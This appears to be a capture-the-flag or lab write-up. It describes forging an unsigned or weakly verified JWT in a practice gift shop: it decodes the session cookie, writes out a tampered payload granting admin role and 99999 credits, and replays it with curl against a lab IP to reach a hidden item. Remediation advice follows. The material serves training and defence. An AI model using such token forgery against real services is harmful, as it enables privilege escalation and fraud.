Unsigned JWT role and credit tampering in a gift shop
Foundations web engagement: TryHeartMe stored role and credits in a client-side JWT; forging admin with inflated credits unlocked the hidden catalog item.
- Case files
- Unsigned JWT role and credit tampering in a gift shop
Shop JWT carried role=user and credits=0. Unsigned or weakly verified tokens accepted role=admin and high credits, exposing the hidden purchase path.
Burp captured tryheartme_jwt with role user and credits 0.
Tampered JWT with admin role and credits unlocked the hidden item.
Engagement summary
Shop JWT carried role=user and credits=0. Unsigned or weakly verified tokens accepted role=admin and high credits, exposing the hidden purchase path.
TRYHEARTME ran a gift shop on TCP 5000. After signup, product pages reflected role user and zero credits. The tryheartme_jwt cookie was a HS256 JWT whose payload included email, role, credits, and theme. Decoding showed authorization decisions were driven by those claims. Replacing the payload with role admin and a large credits balance, then replaying the cookie, elevated the session and unlocked the hidden valenflag item for purchase.
Business impact
Client-controlled JWTs for role and balance are privilege escalation and fraud. Sign with a server-only secret (or asymmetric keys), never trust role/credits from the token without server-side lookup, and reject tokens with alg none or unexpected algorithms.
Session JWT inspection
Burp captured tryheartme_jwt with role user and credits 0.
COOKIE · DECODED
tryheartme_jwt.payload.json
{
"email": "test@test",
"role": "user",
"credits": 0,
"iat": 1774801980,
"theme": "valentine"
}OPERATOR · JWT
savvy@lab:~$ curl -s http://10.48.179.122:5000/product/rose-bouquet -H 'Cookie: tryheartme_jwt=<token>' | grep -i role
role: user credits: 0
Forged admin purchase
Tampered JWT with admin role and credits unlocked the hidden item.
FORGED PAYLOAD
forged.json
{
"email": "test@test",
"role": "admin",
"credits": 99999,
"theme": "valentine"
}OPERATOR · PURCHASE
# replace tryheartme_jwt with forged token; refresh shop
savvy@lab:~$ curl -s http://10.48.179.122:5000/ -H 'Cookie: tryheartme_jwt=<forged>' | grep -i valenflag
# hidden item visible; purchase completes
Remediation
Store role and balance server-side; put only a subject id in the JWT. Use strong HMAC/RSA verification and short TTLs. Log claim-tamper failures.